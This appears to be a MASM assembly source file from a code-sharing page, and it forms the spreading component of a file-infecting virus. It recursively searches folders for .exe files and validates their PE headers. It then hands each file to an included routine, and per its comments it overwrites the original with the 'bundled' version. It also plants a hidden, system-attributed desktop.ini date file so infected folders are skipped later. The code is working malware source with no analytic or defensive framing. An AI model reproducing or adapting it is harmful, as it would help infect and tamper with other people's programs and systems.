📄 _disposalexe.asm
字号:
;以下是_DisposalExe.asm文件
.const
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szFilter db '*.*',0
szExts db '.exe',0
szExtb db '.EXE',0
szDesktop db 'desktop.ini',0
szSystemTime db '%d-%d-%d',0dh,0ah,0
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;加入头文件
include _ProcessPeFile.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;打开文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_OpenFile proc _lpszPath
local @hFile,@dwFileSize,@hMapFile,@lpMemory,@dwTemp
local @szFileBuffer[MAX_PATH]:byte
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
invoke CreateFile,_lpszPath,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov @hFile,eax
invoke GetFileSize,eax,NULL
mov @dwFileSize,eax
.if eax
invoke CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov @hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0
.if eax
mov @lpMemory,eax
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,@lpMemory
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ErrorExit
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ErrorExit
.endif
invoke _ProcessPeFile,_lpszPath,@lpMemory,esi,@dwFileSize
mov @dwTemp,2007
_ErrorExit:
invoke UnmapViewOfFile,@lpMemory
.endif
invoke CloseHandle,@hMapFile
.endif
invoke CloseHandle,@hFile
.endif
.endif
.if @dwTemp == 2007
invoke lstrcpy,addr @szFileBuffer,_lpszPath
invoke lstrlen,addr @szFileBuffer
lea ecx,@szFileBuffer
mov byte ptr [ecx+eax-4],0
invoke CopyFile,addr @szFileBuffer,_lpszPath,FALSE ;将捆绑后的文件替换原文件
invoke DeleteFile,addr @szFileBuffer ;删除临时文件
.endif
@@:
ret
_OpenFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;添加标记文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AddDesktop proc _lpszPath
local @hFile,@WrtSize
local @System:SYSTEMTIME
local @szSystemTime[128]:byte
pushad
invoke GetSystemTime,addr @System
movzx eax,@System.wYear
movzx ebx,@System.wMonth
movzx edx,@System.wDay
invoke wsprintf,addr @szSystemTime,addr szSystemTime,eax,\
ebx,edx
invoke CreateFile,_lpszPath,GENERIC_WRITE,FILE_SHARE_READ,\ ;建立文件
0,CREATE_ALWAYS,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN,0
mov @hFile,eax
invoke WriteFile,@hFile,addr @szSystemTime,sizeof @szSystemTime,\ ;写入信息
addr @WrtSize,NULL
invoke CloseHandle,@hFile
popad
ret
_AddDesktop endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;搜索EXE
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindExe proc _lpszPath
local @stFindFile:WIN32_FIND_DATA
local @hFindFile
local @szPath[MAX_PATH]:byte ;用来存放“路径\”
local @szSearch[MAX_PATH]:byte ;用来存放“路径\*.*”
local @szFindFile[MAX_PATH]:byte ;用来存放“路径\找到的文件”
local @szTerm[MAX_PATH]:byte ;用来存放查找条件
pushad
invoke lstrcpy,addr @szPath,_lpszPath
;********************************************************************
; 在路径后面加上\*.*
;********************************************************************
@@:
invoke lstrlen,addr @szPath
lea esi,@szPath
add esi,eax
xor eax,eax
mov al,'\'
.if byte ptr [esi-1] != al
mov word ptr [esi],ax
.endif
invoke lstrcpy,addr @szSearch,addr @szPath
invoke lstrcpy,addr @szTerm,addr @szSearch
invoke lstrcat,addr @szSearch,addr szFilter
invoke lstrcat,addr @szTerm,addr szDesktop
invoke FindFirstFile,addr @szTerm,addr @szFindFile
.if eax != -1h
jmp _Ret
.endif
;********************************************************************
; 寻找文件
;********************************************************************
invoke FindFirstFile,addr @szSearch,addr @stFindFile
.if eax != INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
invoke lstrcpy,addr @szFindFile,addr @szPath
invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName
.if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
.if @stFindFile.cFileName != '.'
invoke _FindExe,addr @szFindFile
.endif
.else
pushad
invoke lstrlen,addr @szFindFile
lea ebx,@szFindFile
add ebx,eax
sub ebx,4
invoke lstrcmp,ebx,addr szExts
mov esi,eax
invoke lstrcmp,ebx,addr szExtb
.if eax==0 || esi==0
invoke _OpenFile,addr @szFindFile ;打开文件
.endif
popad
.endif
invoke FindNextFile,@hFindFile,addr @stFindFile
.until (eax == FALSE)
invoke _AddDesktop,addr @szTerm
invoke FindClose,@hFindFile
.endif
popad
_Ret:
ret
_FindExe endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -